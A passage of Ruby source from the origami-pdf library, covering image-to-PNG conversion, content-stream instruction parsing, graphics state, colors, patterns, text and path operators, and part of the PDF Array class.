:Indexed colortype = 3 components = 3 csbase = cs[1].is_a?(Reference) ? cs[1].solve : cs[1] lookup = cs[3].is_a?(Reference) ? cs[3].solve : cs[3] when :ICCBased iccprofile = cs[1].is_a?(Reference) ? cs[1].solve : cs[1] raise InvalidColorError, "Invalid ICC Profile parameter" unless iccprofile.is_a?(Stream) case iccprofile.N when 1 colortype = 0 components = 1 when 3 colortype = 2 components = 3 else raise InvalidColorError, "Invalid number of components in ICC profile: #{iccprofile.N}" end else raise InvalidColorError, "Unsupported color space: #{self.ColorSpace}" end else raise InvalidColorError, "Unsupported color space: #{self.ColorSpace}" end bpc = self.BitsPerComponent || 8 w,h = self.Width, self.Height pixels = self.data hdr = [137, 80, 78, 71, 13, 10, 26, 10].pack('C*') chunks = [] chunks << [ 'IHDR', [ w, h, bpc, colortype, 0, 0, 0 ].pack("N2C5") ] if self.Intents intents = case self.Intents.value when Intents::PERCEPTUAL then 0 when Intents::RELATIVE then 1 when Intents::SATURATION then 2 when Intents::ABSOLUTE then 3 else 3 end chunks << [ 'sRGB', [ intents ].pack('C') ] chunks << [ 'gAMA', [ 45455 ].pack("N") ] chunks << [ 'cHRM', [ 31270, 32900, 64000, 33000, 30000, 60000, 15000, 6000 ].pack("N8") ] end if colortype == 3 lookup = case lookup when Stream then lookup.data when String then lookup.value else raise InvalidColorError, "Invalid indexed palette table" end raise InvalidColorError, "Invalid base color space" unless csbase palette = "" case csbase.value when Color::Space::DEVICE_GRAY lookup.each_byte do |g| palette << Color.gray_to_rgb(g).pack("C3") end when Color::Space::DEVICE_RGB palette << lookup[0, (lookup.size / 3) * 3] when Color::Space::DEVICE_CMYK (lookup.size / 4).times do |i| cmyk = lookup[i * 4, 4].unpack("C4").map!{|c| c.to_f / 255} palette << Color.cmyk_to_rgb(*cmyk).map!{|c| (c * 255).to_i}.pack("C3") end when ::Array case csbase[0].solve.value when :ICCBased iccprofile = csbase[1].solve raise InvalidColorError, "Invalid ICC Profile parameter" unless iccprofile.is_a?(Stream) case iccprofile.N when 1 lookup.each_byte do |g| palette << Color.gray_to_rgb(g).pack("C3") end when 3 palette << lookup[0, (lookup.size / 3) * 3] else raise InvalidColorError, "Invalid number of components in ICC profile: #{iccprofile.N}" end else raise InvalidColorError, "Unsupported color space: #{csbase}" end else raise InvalidColorError, "Unsupported color space: #{csbase}" end if iccprofile chunks << [ 'iCCP', 'ICC Profile' + "\x00\x00" + Zlib::Deflate.deflate(iccprofile.data, Zlib::BEST_COMPRESSION) ] end chunks << [ 'PLTE', palette ] bpr = w else if iccprofile chunks << [ 'iCCP', 'ICC Profile' + "\x00\x00" + Zlib::Deflate.deflate(iccprofile.data, Zlib::BEST_COMPRESSION) ] end bpr = (bpc >> 3) * components * w end require 'zlib' nrows = pixels.size / bpr nrows.times do |irow| pixels.insert(irow * bpr + irow, "\x00") end chunks << [ 'IDAT', Zlib::Deflate.deflate(pixels, Zlib::BEST_COMPRESSION) ] if self.Metadata.is_a?(Stream) chunks << [ 'tEXt', "XML:com.adobe.xmp" + "\x00" + self.Metadata.data ] end chunks << [ 'IEND', '' ] [ 'png', hdr + chunks.map!{ |chk| [ chk[1].size, chk[0], chk[1], Zlib.crc32(chk[0] + chk[1]) ].pack("NA4A*N") }.join ] end end end class ReferenceDictionary < Dictionary include StandardObject field :F, :Type => Dictionary, :Required => true field :Page, :Type => [Integer, String], :Required => true field :ID, :Tyoe => Array end end end origami-pdf-1.2.7/lib/origami/graphics/instruction.rb0000644000175000017500000000554512101464040023035 0ustar terceiroterceiro=begin = File graphics/instruction.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class InvalidPDFInstructionError < Exception ; end class PDF::Instruction attr_reader :operator attr_accessor :operands @@regexp = Regexp.new('([^ \\t\\r\\n\\0\\[\\]<>()%\\/]+)') @insns = Hash.new(:operands => [], :render => lambda{}) def initialize(operator, *operands) @operator = operator @operands = operands.map!{|arg| arg.is_a?(Origami::Object) ? arg.value : arg} if self.class.has_op?(operator) opdef = self.class.get_operands(operator) if not opdef.include?('*') and opdef.size != operands.size raise InvalidPDFInstructionError, "Numbers of operands mismatch for #{operator}: #{operands.inspect}" end end end def render(canvas) self.class.get_render_proc(@operator)[canvas, *@operands] self end def to_s "#{operands.map{|op| op.to_o.to_s}.join(' ')}#{' ' unless operands.empty?}#{operator}\n" end class << self def insn(operator, *operands, &render_proc) @insns[operator] = {} @insns[operator][:operands] = operands @insns[operator][:render] = render_proc || lambda{} end def has_op?(operator) @insns.has_key? operator end def get_render_proc(operator) @insns[operator][:render] end def get_operands(operator) @insns[operator][:operands] end def parse(stream) operands = [] while type = Object.typeof(stream, true) operands.push type.parse(stream) end if not stream.eos? if stream.scan(@@regexp).nil? raise InvalidPDFInstructionError, "Operator: #{(stream.peek(10) + '...').inspect}" end operator = stream[1] PDF::Instruction.new(operator, *operands) else if not operands.empty? raise InvalidPDFInstructionError, "No operator given for operands: #{operands.join}" end end end end end end origami-pdf-1.2.7/lib/origami/graphics/state.rb0000644000175000017500000001322612101464040021567 0ustar terceiroterceiro=begin = File graphics/state.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end require 'matrix' module Origami module Graphics class GraphicsStateError < Exception #:nodoc: end class State # # Device-independent parameters. # attr_accessor :ctm attr_accessor :clipping_path attr_accessor :stroking_colorspace, :nonstroking_colorspace, :stroking_color, :nonstroking_color attr_accessor :text_state attr_accessor :line_width, :line_cap, :line_join, :miter_limit, :dash_pattern attr_accessor :rendering_intent attr_accessor :stroke_adjustment attr_accessor :blend_mode, :soft_mask, :alpha_constant, :alpha_source attr_reader :current_path def initialize @stack = [] @current_path = [] @text_state = Text::State.new self.reset end def reset @ctm = Matrix.identity(3) @clipping_path = nil @stroking_colorspace = @nonstroking_colorspace = Color::Space::DEVICE_GRAY @stroking_color = @nonstroking_color = [ 0.0 ] #black @text_state.reset @line_width = 1.0 @line_cap = LineCapStyle::BUTT_CAP @line_join = LineJoinStyle::MITER_JOIN @miter_limit = 10.0 @dash_pattern = DashPattern.new([], 0) @rendering_intent = Color::Intent::RELATIVE @stroke_adjustment = false @blend_mode = Color::BlendMode::NORMAL @soft_mask = :None @alpha_constant = 1.0 @alpha_source = false end def save context = [ @ctm, @clipping_path, @stroking_colorspace, @nonstroking_colorspace, @stroking_color, @nonstroking_color, @text_state, @line_width, @line_cap, @line_join, @miter_limit, @dash_pattern, @rendering_intent, @stroke_adjustment, @blend_mode, @soft_mask, @alpha_constant, @alpha_source ] @stack.push(context) end def restore raise GraphicsStateError, "Cannot restore context : empty stack" if @stack.empty? @ctm, @clipping_path, @stroking_colorspace, @nonstroking_colorspace, @stroking_color, @nonstroking_color, @text_state, @line_width, @line_cap, @line_join, @miter_limit, @dash_pattern, @rendering_intent, @stroke_adjustment, @blend_mode, @soft_mask, @alpha_constant, @alpha_source = @stack.pop end end # # Generic Graphic state # 4.3.4 Graphics State Parameter Dictionaries p219 # class ExtGState < Dictionary include StandardObject field :Type, :Type => Name, :Default => :ExtGState, :Required => true field :LW, :Type => Integer, :Version => "1.3" field :LC, :Type => Integer, :Version => "1.3" field :LJ, :Type => Integer, :Version => "1.3" field :ML, :Type => Number, :Version => "1.3" field :D, :Type => Array, :Version => "1.3" field :RI, :Type => Name, :Version => "1.3" field :OP, :Type => Boolean field :op, :Type => Boolean, :Version => "1.3" field :OPM, :Type => Number, :Version => "1.3" field :Font, :Type => Array, :Version => "1.3" field :BG, :Type => Object field :BG2, :Type => Object, :Version => "1.3" field :UCR, :Type => Object field :UCR2, :Type => Object, :Version => "1.3" field :TR, :Type => Object field :TR2, :Type => Object, :Version => "1.3" field :HT, :Type => [ Dictionary, Name, Stream ] field :FL, :Type => Number, :Version => "1.3" field :SM, :Type => Number, :Version => "1.3" field :SA, :Type => Boolean field :BM, :Type => [ Name, Array ], :Version => "1.4" field :SMask, :Type => [ Dictionary, Array ], :Version => "1.4" field :CA, :Type => Number field :ca, :Type => Number, :Version => "1.4" field :AIS, :Type => Boolean, :Version => "1.4" field :TK, :Type => Boolean, :Version => "1.4" end # class ExtGState end #module Graphics class PDF::Instruction insn 'q' do |canvas| canvas.gs.save; canvas.gs.reset end insn 'Q' do |canvas| canvas.gs.restore end insn 'w', Real do |canvas, lw| canvas.gs.line_width = lw end insn 'J', Real do |canvas, lc| canvas.gs.line_cap = lc end insn 'j', Real do |canvas, lj| canvas.gs.line_join = lj end insn 'M', Real do |canvas, ml| canvas.gs.miter_limit = ml end insn 'd', Array, Integer do |canvas, array, phase| canvas.gs.dash_pattern = Graphics::DashPattern.new array, phase end insn 'ri', Name do |canvas, ri| canvas.gs.rendering_intent = ri end end end origami-pdf-1.2.7/lib/origami/graphics/colors.rb0000644000175000017500000001406412101464040021751 0ustar terceiroterceiro=begin = File graphics/colors.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'color' rescue LoadError end module Origami module Graphics class InvalidColorError < Exception; end module Color module Intent ABSOLUTE = :AbsoluteColorimetric RELATIVE = :RelativeColorimetric SATURATION = :Saturation PERCEPTUAL = :Perceptual end module BlendMode NORMAL = :Normal COMPATIBLE = :Compatible MULTIPLY = :Multiply SCREEN = :Screen OVERLAY = :Overlay DARKEN = :Darken LIGHTEN = :Lighten COLORDODGE = :ColorDodge COLORBURN = :ColorBurn HARDLIGHT = :HardLight SOFTLIGHt = :SoftLight DIFFERENCE = :Difference EXCLUSION = :Exclusion end module Space DEVICE_GRAY = :DeviceGray DEVICE_RGB = :DeviceRGB DEVICE_CMYK = :DeviceCMYK end def self.cmyk_to_rgb(c, m, y, k) r = 1 - (( c * ( 1 - k ) + k )) g = 1 - (( m * ( 1 - k ) + k )) b = 1 - (( y * ( 1 - k ) + k )) [ r, g, b ] end def self.gray_to_rgb(g) [ g, g, g ] end # # Class representing an embedded ICC Profile stream. # class ICCProfile < Stream field :N, :Type => Integer, :Required => true, :Version => '1.3' field :Alternate, :Type => [ Name, Array ] field :Range, :Type => Array field :Metadata, :Type => Stream, :Version => '1.4' end class GrayScale attr_accessor :g def initialize(g) @g = g end end class RGB attr_accessor :r,:g,:b def initialize(r,g,b) @r,@g,@b = r,g,b end end class CMYK attr_accessor :c,:m,:y,:k def initialize(c,m,y,k) @c,@m,@y,@k = c,m,y,k end end def Color.to_a(color) return color if color.is_a?(::Array) if (color.respond_to? :r and color.respond_to? :g and color.respond_to? :b) r = (color.respond_to?(:r) ? color.r : color[0]).to_f / 255 g = (color.respond_to?(:g) ? color.g : color[1]).to_f / 255 b = (color.respond_to?(:b) ? color.b : color[2]).to_f / 255 return [r, g, b] elsif (color.respond_to? :c and color.respond_to? :m and color.respond_to? :y and color.respond_to? :k) c = (color.respond_to?(:c) ? color.c : color[0]).to_f m = (color.respond_to?(:m) ? color.m : color[1]).to_f y = (color.respond_to?(:y) ? color.y : color[2]).to_f k = (color.respond_to?(:k) ? color.k : color[3]).to_f return [c,m,y,k] elsif color.respond_to?:g or (0.0..1.0) === color g = color.respond_to?(:g) ? color.g : color return [ g ] else raise TypeError, "Invalid color : #{color}" end end end end class PDF::Instruction insn 'CS', Name do |canvas, cs| canvas.gs.stroking_colorspace = cs end insn 'cs', Name do |canvas, cs| canvas.gs.nonstroking_colorspace = cs end insn 'SC', '*' do |canvas, *c| canvas.gs.stroking_color = c end insn 'sc', '*' do |canvas, *c| canvas.gs.nonstroking_color = c end insn 'G', Real do |canvas, c| unless (0..1).include? c raise Graphics::InvalidColorError, "Not a valid color for DeviceGray: #{c}" end canvas.gs.stroking_colorspace = Graphics::Color::Space::DEVICE_GRAY canvas.gs.stroking_color = [ c ] end insn 'g', Real do |canvas, c| unless (0..1).include? c raise Graphics::InvalidColorError, "Not a valid color for DeviceGray: #{c}" end canvas.gs.nonstroking_colorspace = Graphics::Color::Space::DEVICE_GRAY canvas.gs.nonstroking_color = [ c ] end insn 'RG', Real, Real, Real do |canvas, r,g,b| c = [ r, g, b ] unless c.all? {|b| (0..1).include? b} raise Graphics::InvalidColorError, "Not a valid color for DeviceRGB: #{c.inspect}" end canvas.gs.stroking_colorspace = Graphics::Color::Space::DEVICE_RGB canvas.gs.stroking_color = c end insn 'rg', Real, Real, Real do |canvas, r,g,b| c = [ r, g, b ] unless c.all? {|b| (0..1).include? b} raise Graphics::InvalidColorError, "Not a valid color for DeviceRGB: #{c.inspect}" end canvas.gs.nonstroking_colorspace = Graphics::Color::Space::DEVICE_RGB canvas.gs.nonstroking_color = c end insn 'K', Real, Real, Real, Real do |canvas, c,m,y,k| c = [ c, m, y, k ] unless c.all? {|b| (0..1).include? b} raise Graphics::InvalidColorError, "Not a valid color for DeviceCMYK: #{c.inspect}" end canvas.gs.stroking_colorspace = Graphics::Color::Space::DEVICE_CMYK canvas.gs.stroking_color = c end insn 'k', Real, Real, Real, Real do |canvas, c,m,y,k| c = [ c, m, y, k ] unless c.all? {|b| (0..1).include? b} raise Graphics::InvalidColorError, "Not a valid color for DeviceCMYK: #{c.inspect}" end canvas.gs.nonstroking_colorspace = Graphics::Color::Space::DEVICE_CMYK canvas.gs.nonstroking_color = c end end end # module Origami origami-pdf-1.2.7/lib/origami/graphics/patterns.rb0000644000175000017500000001657712131012465022326 0ustar terceiroterceiro=begin = File graphics/patterns.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Graphics module Pattern module Type TILING = 1 SHADING = 2 end def self.included(receiver) receiver.field :Type, :Type => Name, :Default => :Pattern receiver.field :PatternType, :Type => Integer, :Required => true end class Tiling < ContentStream include Pattern include ResourcesHolder module PaintType COLOURED = 1 UNCOLOURED = 2 end module Type CONSTANT_SPACING = 1 NO_DISTORTION = 2 CONSTANT_SPACING_AND_FASTER_TILING = 3 end field :PatternType, :Type => Integer, :Default => Pattern::Type::TILING, :Required => true field :PaintType, :Type => Integer, :Required => true field :TilingType, :Type => Integer, :Required => true field :BBox, :Type => Array, :Required => true field :XStep, :Type => Number, :Required => true field :YStep, :Type => Number, :Required => true field :Resources, :Type => Resources, :Required => true field :Matrix, :Type => Array, :Default => [ 1, 0, 0, 1, 0, 0 ] end class Shading < Dictionary include StandardObject include Pattern module Type FUNCTIONBASED = 1 AXIAL = 2 RADIAL = 3 FREEFORM_TRIANGLE_MESH = 4 LATTICEFORM_TRIANGLE_MESH = 5 COONS_PATCH_MESH = 6 TENSORPRODUCT_PATCH_MESH = 7 end field :PatternType, :Type => Integer, :Default => Pattern::Type::SHADING, :Required => true field :Shading, :Type => [ Dictionary, Stream ], :Required => true field :Matrix, :Type => Array, :Default => [ 1, 0, 0, 1, 0, 0 ] field :ExtGState, :Type => Dictionary module ShadingObject def self.included(receiver) receiver.field :ShadingType, :Type => Integer, :Required => true receiver.field :ColorSpace, :Type => [ Name, Array ], :Required => true receiver.field :Background, :Type => Array receiver.field :BBox, :Type => Array receiver.field :AntiAlias, :Type => Boolean, :Default => false end end class FunctionBased < Dictionary include StandardObject include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::FUNCTIONBASED, :Required => true field :Domain, :Type => Array, :Default => [ 0.0, 1.0, 0.0, 1.0 ] field :Matrix, :Type => Array, :Default => [ 1, 0, 0, 1, 0, 0 ] field :Function, :Type => [ Dictionary, Stream ], :Required => true end class Axial < Dictionary include StandardObject include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::AXIAL, :Required => true field :Coords, :Type => Array, :Required => true field :Domain, :Type => Array, :Default => [ 0.0, 1.0 ] field :Function, :Type => [ Dictionary, Stream ], :Required => true field :Extend, :Type => Array, :Default => [ false, false ] end class Radial < Dictionary include StandardObject include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::RADIAL, :Required => true field :Coords, :Type => Array, :Required => true field :Domain, :Type => Array, :Default => [ 0.0, 1.0 ] field :Function, :Type => [ Dictionary, Stream ], :Required => true field :Extend, :Type => Array, :Default => [ false, false ] end class FreeFormTriangleMesh < Stream include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::FREEFORM_TRIANGLE_MESH, :Required => true field :BitsPerCoordinate, :Type => Integer, :Required => true field :BitsPerComponent, :Type => Integer, :Required => true field :BitsPerFlag, :Type => Integer, :Required => true field :Decode, :Type => Array, :Required => true field :Function, :Type => [ Dictionary, Stream ] end class LatticeFormTriangleMesh < Stream include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::LATTICEFORM_TRIANGLE_MESH, :Required => true field :BitsPerCoordinate, :Type => Integer, :Required => true field :BitsPerComponent, :Type => Integer, :Required => true field :VerticesPerRow, :Type => Integer, :Required => true field :Decode, :Type => Array, :Required => true field :Function, :Type => [ Dictionary, Stream ] end class CoonsPathMesh < Stream include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::COONS_PATCH_MESH, :Required => true field :BitsPerCoordinate, :Type => Integer, :Required => true field :BitsPerComponent, :Type => Integer, :Required => true field :BitsPerFlag, :Type => Integer, :Required => true field :Decode, :Type => Array, :Required => true field :Function, :Type => [ Dictionary, Stream ] end class TensorProductPatchMesh < Stream include ShadingObject field :ShadingType, :Type => Integer, :Default => Shading::Type::TENSORPRODUCT_PATCH_MESH, :Required => true field :BitsPerCoordinate, :Type => Integer, :Required => true field :BitsPerComponent, :Type => Integer, :Required => true field :BitsPerFlag, :Type => Integer, :Required => true field :Decode, :Type => Array, :Required => true field :Function, :Type => [ Dictionary, Stream ] end end end end class PDF::Instruction insn 'sh', Name end end origami-pdf-1.2.7/lib/origami/graphics/text.rb0000644000175000017500000001556012101464040021436 0ustar terceiroterceiro=begin = File graphics/text.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Text OPERATORS = [ 'Tc', 'Tw', 'Tz', 'TL', 'Tf', 'Tr', 'Ts', # Text state 'BT', 'ET', # Text objects 'Td', 'TD', 'Tm', 'T*', # Positioning 'Tj', "'", '"', 'TJ' # Showing ] module Rendering FILL = 0 STROKE = 1 FILL_AND_STROKE = 2 INVISIBLE = 3 FILL_AND_CLIP = 4 STROKE_AND_CLIP = 5 FILL_AND_STROKE_AND_CLIP = 6 CLIP = 7 end class TextStateError < Exception #:nodoc: end class State attr_accessor :char_spacing, :word_spacing, :scaling, :leading attr_accessor :font, :font_size attr_accessor :rendering_mode attr_accessor :text_rise, :text_knockout attr_accessor :text_matrix, :text_line_matrix, :text_rendering_matrix def initialize self.reset end def reset @char_spacing = 0 @word_spacing = 0 @scaling = 100 @leading = 0 @font = nil @font_size = nil @rendering_mode = Rendering::FILL @text_rise = 0 @text_knockout = true # # Text objects # @text_object = false @text_matrix = @text_line_matrix = @text_rendering_matrix = nil end def is_in_text_object? @text_object end def begin_text_object if is_in_text_object? raise TextStateError, "Cannot start a text object within an existing text object." end @text_object = true @text_matrix = @text_line_matrix = @text_rendering_matrix = Matrix.identity(3) end def end_text_object unless is_in_text_object? raise TextStateError, "Cannot end text object : no previous text object has begun." end @text_object = false @text_matrix = @text_line_matrix = @text_rendering_matrix = nil end end #class State end #module Text class PDF::Instruction # Text instructions definitions insn 'Tc', Real do |canvas, cS| canvas.gs.text_state.char_spacing = cS end insn 'Tw', Real do |canvas, wS| canvas.gs.text_state.word_spacing = wS end insn 'Tz', Real do |canvas, s| canvas.gs.text_state.scaling = s end insn 'TL', Real do |canvas, l| canvas.gs.text_state.leading = l end insn 'Tf', Name, Real do |canvas, font, size| canvas.gs.text_state.font = font canvas.gs.text_state.font_size = size end insn 'Tr', Integer do |canvas, r| canvas.gs.text_state.rendering_mode = r end insn 'Ts', Real do |canvas, s| canvas.gs.text_state.text_rise = s end insn 'BT' do |canvas| canvas.gs.text_state.begin_text_object end insn 'ET' do |canvas| canvas.gs.text_state.end_text_object end insn 'Td', Real, Real do |canvas, tx, ty| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : Td" end canvas.gs.text_state.text_matrix = canvas.gs.text_state.text_line_matrix = Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix end insn 'TD', Real, Real do |canvas, tx, ty| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : TD" end canvas.gs.text_state.leading = -ty canvas.gs.text_state.text_matrix = canvas.gs.text_state.text_line_matrix = Matrix.rows([[1,0,0],[0,1,0],[tx,ty,1]]) * canvas.gs.text_state.text_line_matrix end insn 'Tm', Real, Real, Real, Real, Real, Real do |canvas, a,b,c,d,e,f,g| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : Tm" end canvas.gs.text_state.text_matrix = canvas.gs.text_state.text_line_matrix = Matrix.rows([[a,b,0],[c,d,0],[e,f,1]]) end insn 'T*' do |canvas| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : T*" end tx, ty = 0, -canvas.gs.text_state.leading canvas.gs.text_state.text_matrix = canvas.gs.text_state.text_line_matrix = Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix end insn 'Tj', String do |canvas, s| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : Tj" end canvas.write_text(s) end insn "'", String do |canvas, s| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : '" end tx, ty = 0, -canvas.gs.text_state.leading canvas.gs.text_state.text_matrix = canvas.gs.text_state.text_line_matrix = Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix canvas.write_text(s) end insn '"', Real, Real, String do |canvas, w, c, s| unless canvas.gs.text_state.is_in_text_object? raise TextStateError, "Must be in a text object to use operator : \"" end canvas.gs.text_state.word_spacing = w canvas.gs.text_state.char_spacing = c tx, ty = 0, -gs.text_state.leading canvas.gs.text_state.text_matrix = canvas.gs.text_state.text_line_matrix = Matrix.rows([[1,0,0],[0,1,0],[tx, ty, 1]]) * canvas.gs.text_state.text_line_matrix canvas.write_text(s) end insn 'TJ', Array do |canvas, arr| arr.each do |g| case g when Fixnum,Float then # XXX: handle this in text space ? when ::String then canvas.write_text(g) else raise InvalidPDFInstructionError, "Invalid component type `#{g.class}` in TJ operand" end end end end end origami-pdf-1.2.7/lib/origami/graphics/path.rb0000644000175000017500000001013012101464040021372 0ustar terceiroterceiro=begin = File graphics/path.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami module Graphics module LineCapStyle BUTT_CAP = 0 ROUND_CAP = 1 PROJECTING_SQUARE_CAP = 2 end module LineJoinStyle MITER_JOIN = 0 ROUND_JOIN = 1 BEVEL_JOIN = 2 end class DashPattern attr_accessor :array, :phase def initialize(array, phase = 0) @array = array @phase = phase end def eql?(dash) #:nodoc dash.array == @array and dash.phase == @phase end def hash #:nodoc: [ @array, @phase ].hash end end class InvalidPathError < Exception; end class Path module Segment attr_accessor :from, :to def initialize(from, to) @from, @to = from, to end end class Line include Segment end attr_accessor :current_point attr_reader :segments def initialize @segments = [] @current_point = nil @closed = false end def is_closed? @closed end def close! from = @current_point to = @segments.first.from @segments << Line.new(from, to) @segments.freeze @closed = true end def add_segment(seg) raise GraphicsStateError, "Cannot modify closed subpath" if is_closed? @segments << seg @current_point = seg.to end end end class PDF::Instruction insn 'm', Real, Real do |canvas, x,y| canvas.gs.current_path << (subpath = Graphics::Path.new) subpath.current_point = [x,y] end insn 'l', Real, Real do |canvas, x,y| if canvas.gs.current_path.empty? raise InvalidPathError, "No current point is defined" end subpath = canvas.gs.current_path.last from = subpath.current_point to = [x,y] subpath.add_segment(Graphics::Path::Line.new(from, to)) end insn 'h' do |canvas| unless canvas.gs.current_path.empty? subpath = canvas.gs.current_path.last subpath.close! unless subpath.is_closed? end end insn 're', Real, Real, Real, Real do |canvas, x,y,width,height| tx = x + width ty = y + height canvas.gs.current_path << (subpath = Graphics::Path.new) subpath.segments << Graphics::Path::Line.new([x,y], [tx,y]) subpath.segments << Graphics::Path::Line.new([tx,y], [tx, ty]) subpath.segments << Graphics::Path::Line.new([tx, ty], [x, ty]) subpath.close! end insn 'S' do |canvas| canvas.stroke_path end insn 's' do |canvas| canvas.gs.current_path.last.close! canvas.stroke_path end insn 'f' do |canvas| canvas.fill_path end insn 'F' do |canvas| canvas.fill_path end insn 'f*' do |canvas| canvas.fill_path end insn 'B' do |canvas| canvas.fill_path canvas.stroke_path end insn 'B*' do |canvas| canvas.fill_path canvas.stroke_path end insn 'b' do |canvas| canvas.gs.current_path.last.close! canvas.fill_path canvas.stroke_path end insn 'b*' do |canvas| canvas.gs.current_path.last.close! canvas.fill_path canvas.stroke_path end insn 'n' end end origami-pdf-1.2.7/lib/origami/array.rb0000644000175000017500000001223612142214376017777 0ustar terceiroterceiro=begin = File array.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end module Origami class InvalidArrayObjectError < InvalidObjectError #:nodoc: end # # Class representing an Array Object. # Arrays contain a set of Object. # class Array < ::Array include Origami::Object TOKENS = %w{ [ ] } #:nodoc: @@regexp_open = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.first) + WHITESPACES) @@regexp_close = Regexp.new(WHITESPACES + Regexp.escape(TOKENS.last) + WHITESPACES) attr_reader :strings_cache, :names_cache, :xref_cache # # Creates a new PDF Array Object. # _data_:: An array of objects. # def initialize(data = []) raise TypeError, "Expected type Array, received #{data.class}." unless data.is_a?(::Array) super() @strings_cache = [] @names_cache = [] @xref_cache = {} i = 0 while i < data.size case val = data[i].to_o when String then @strings_cache.push(val) when Name then @names_cache.push(val) when Reference then (@xref_cache[val] ||= []).push(self) when Dictionary,Array then @strings_cache.concat(val.strings_cache) @names_cache.concat(val.names_cache) @xref_cache.update(val.xref_cache) do |ref, cache1, cache2| cache1.concat(cache2) end val.strings_cache.clear val.names_cache.clear val.xref_cache.clear end self[i] = val i = i + 1 end end def pre_build self.map!{|obj| obj.to_o} super end def self.parse(stream, parser = nil) #:nodoc: data = [] offset = stream.pos if not stream.skip(@@regexp_open) raise InvalidArrayObjectError, "No token '#{TOKENS.first}' found" end while stream.skip(@@regexp_close).nil? do type = Object.typeof(stream) if type.nil? raise InvalidArrayObjectError, "Bad embedded object format" end value = type.parse(stream, parser) data << value end array = Array.new(data) array.file_offset = offset array end # # Converts self into a Ruby array. # def to_a super.map { |item| item.is_a?(Origami::Object) ? item.value : item } end def to_s #:nodoc: content = "#{TOKENS.first} " self.each { |entry| content << entry.to_o.to_s + ' ' } content << TOKENS.last super(content) end def +(other) a = Origami::Array.new(self.to_a + other.to_a, is_indirect?) a.no, a.generation = @no, @generation return a end def <<(item) obj = item.to_o obj.parent = self unless obj.is_indirect? super(obj) end def []=(key,val) key, val = key.to_o, val.to_o super(key.to_o,val.to_o) val.parent = self unless 